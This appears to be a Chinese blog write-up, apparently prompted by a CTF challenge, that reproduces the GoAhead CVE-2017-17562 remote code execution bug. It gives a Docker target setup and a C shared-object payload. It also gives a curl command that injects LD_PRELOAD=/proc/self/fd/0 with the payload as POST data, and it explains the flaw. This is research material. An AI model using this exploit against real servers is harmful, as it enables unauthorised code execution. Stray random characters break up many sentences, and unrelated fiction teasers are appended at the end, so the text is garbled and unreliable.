GoAhead CVE-2017-17562 研究報告

CVE-2017-17562是一個關于GoAhead Web Server遠程命令執(zhí)行的一個漏洞笛辟,該漏洞于2017年12月被爆出,影響GoAhead 2.5.0-3.6.4版本戈轿。目前已經(jīng)過了快一年時間,但是一個CTF考到了這個CVE,正好記錄一下。

復現(xiàn)

靶機環(huán)境

首先得做一個靶機粘姜,這里就用docker開個ubuntu作靶機吧:

docker run --name=goaheadv364 -it -p 0.0.0.0:80:80 ubuntu bash
# 安裝git和gcc
apt update && apt install -y git gcc make
# 安裝goaheadv3.6.4
git clone https://github.com/embedthis/goahead.git
cd goahead
git checkout tags/v3.6.4 -q
make

接著跑一個GoAhead服務,這里用自帶的測試服務好了:

cd test
gcc ./cgitest.c -o cgi-bin/cgitest
../build/linux-x64-default/bin/goahead

payload

準備payload.c文件:

#include <unistd.h>
#include <stdlib.h>
#include <stdio.h>

static void before_main(void) __attribute__((constructor));
static void before_main(void) {
    printf("hello, payload executed.\n");
}

編譯payload:

gcc -shared -fPIC ./payload.c -o payload.so

發(fā)送payload到靶機:

curl -X POST --data-binary @payload.so http://192.168.99.100/cgi-bin/cgitest?LD_PRELOAD=/proc/self/fd/0 -i

可以看到payload被執(zhí)行:

1538570084411.png

原理解釋

實際上騰訊的“開源Web服務器GoAhead漏洞CVE-2017-17562分析“ 一文已經(jīng)對此漏洞進行了詳細解釋魄幕,這里只概括的說一下相艇。

首先颖杏,GoAhead代碼存在以下兩點問題:

  1. 因為cgiHandler的過濾不當纯陨,導致LD_PRELOAD變量可控,而程序會讀取LD_PRELOAD變量記錄的文件路徑并且執(zhí)行代碼留储;

  2. launchCgi函數(shù)調(diào)用系統(tǒng)函數(shù)dup2()將stdin文件描述符指向了POST請求數(shù)據(jù)對應的臨時文件翼抠。

從發(fā)送payload的命令可以看到,我們的POST中控制了兩個輸入获讳,一個是LOAD_PRELOAD參數(shù)(將它設置為了/proc/self/fd/0)阴颖,一個是POST的data(將它設置為了我們編譯生成的動態(tài)鏈接庫)。/proc/self/fd/0 是Linux的偽文件系統(tǒng)文件丐膝,實際上指的是stdin量愧,以下命令的執(zhí)行結(jié)果可以說明這一點:

1538571783966.png

這樣結(jié)合第一條,即程序會從我們標準輸入中取代碼執(zhí)行帅矗,又因為第二條偎肃,我們的標準輸入被定向到了POST的臨時文件中,具體來說浑此,即定向到了我們的payload.so文件上累颂,這樣整個原理就走通了。

?著作權歸作者所有,轉(zhuǎn)載或內(nèi)容合作請聯(lián)系作者
  • 序言:七十年代末凛俱,一起剝皮案震驚了整個濱河市紊馏,隨后出現(xiàn)的幾起案子,更是在濱河造成了極大的恐慌蒲犬,老刑警劉巖朱监,帶你破解...
    沈念sama閱讀 217,406評論 6 503
  • 序言:濱河連續(xù)發(fā)生了三起死亡事件,死亡現(xiàn)場離奇詭異原叮,居然都是意外死亡赌朋,警方通過查閱死者的電腦和手機凰狞,發(fā)現(xiàn)死者居然都...
    沈念sama閱讀 92,732評論 3 393
  • 文/潘曉璐 我一進店門,熙熙樓的掌柜王于貴愁眉苦臉地迎上來沛慢,“玉大人赡若,你說我怎么就攤上這事⊥偶祝” “怎么了逾冬?”我有些...
    開封第一講書人閱讀 163,711評論 0 353
  • 文/不壞的土叔 我叫張陵,是天一觀的道長躺苦。 經(jīng)常有香客問我身腻,道長,這世上最難降的妖魔是什么匹厘? 我笑而不...
    開封第一講書人閱讀 58,380評論 1 293
  • 正文 為了忘掉前任嘀趟,我火速辦了婚禮,結(jié)果婚禮上愈诚,老公的妹妹穿的比我還像新娘她按。我一直安慰自己,他們只是感情好炕柔,可當我...
    茶點故事閱讀 67,432評論 6 392
  • 文/花漫 我一把揭開白布酌泰。 她就那樣靜靜地躺著,像睡著了一般匕累。 火紅的嫁衣襯著肌膚如雪陵刹。 梳的紋絲不亂的頭發(fā)上,一...
    開封第一講書人閱讀 51,301評論 1 301
  • 那天欢嘿,我揣著相機與錄音衰琐,去河邊找鬼。 笑死炼蹦,一個胖子當著我的面吹牛羡宙,可吹牛的內(nèi)容都是我干的。 我是一名探鬼主播框弛,決...
    沈念sama閱讀 40,145評論 3 418
  • 文/蒼蘭香墨 我猛地睜開眼辛辨,長吁一口氣:“原來是場噩夢啊……” “哼!你這毒婦竟也來了瑟枫?” 一聲冷哼從身側(cè)響起斗搞,我...
    開封第一講書人閱讀 39,008評論 0 276
  • 序言:老撾萬榮一對情侶失蹤,失蹤者是張志新(化名)和其女友劉穎慷妙,沒想到半個月后僻焚,有當?shù)厝嗽跇淞掷锇l(fā)現(xiàn)了一具尸體,經(jīng)...
    沈念sama閱讀 45,443評論 1 314
  • 正文 獨居荒郊野嶺守林人離奇死亡膝擂,尸身上長有42處帶血的膿包…… 初始之章·張勛 以下內(nèi)容為張勛視角 年9月15日...
    茶點故事閱讀 37,649評論 3 334
  • 正文 我和宋清朗相戀三年虑啤,在試婚紗的時候發(fā)現(xiàn)自己被綠了隙弛。 大學時的朋友給我發(fā)了我未婚夫和他白月光在一起吃飯的照片。...
    茶點故事閱讀 39,795評論 1 347
  • 序言:一個原本活蹦亂跳的男人離奇死亡狞山,死狀恐怖全闷,靈堂內(nèi)的尸體忽然破棺而出,到底是詐尸還是另有隱情萍启,我是刑警寧澤总珠,帶...
    沈念sama閱讀 35,501評論 5 345
  • 正文 年R本政府宣布,位于F島的核電站勘纯,受9級特大地震影響局服,放射性物質(zhì)發(fā)生泄漏。R本人自食惡果不足惜驳遵,卻給世界環(huán)境...
    茶點故事閱讀 41,119評論 3 328
  • 文/蒙蒙 一淫奔、第九天 我趴在偏房一處隱蔽的房頂上張望。 院中可真熱鬧堤结,春花似錦唆迁、人聲如沸。這莊子的主人今日做“春日...
    開封第一講書人閱讀 31,731評論 0 22
  • 文/蒼蘭香墨 我抬頭看了看天上的太陽系吩。三九已至来庭,卻和暖如春,著一層夾襖步出監(jiān)牢的瞬間穿挨,已是汗流浹背月弛。 一陣腳步聲響...
    開封第一講書人閱讀 32,865評論 1 269
  • 我被黑心中介騙來泰國打工, 沒想到剛下飛機就差點兒被人妖公主榨干…… 1. 我叫王不留科盛,地道東北人帽衙。 一個月前我還...
    沈念sama閱讀 47,899評論 2 370
  • 正文 我出身青樓,卻偏偏與公主長得像贞绵,于是被迫代替她去往敵國和親厉萝。 傳聞我的和親對象是個殘疾皇子,可洞房花燭夜當晚...
    茶點故事閱讀 44,724評論 2 354

推薦閱讀更多精彩內(nèi)容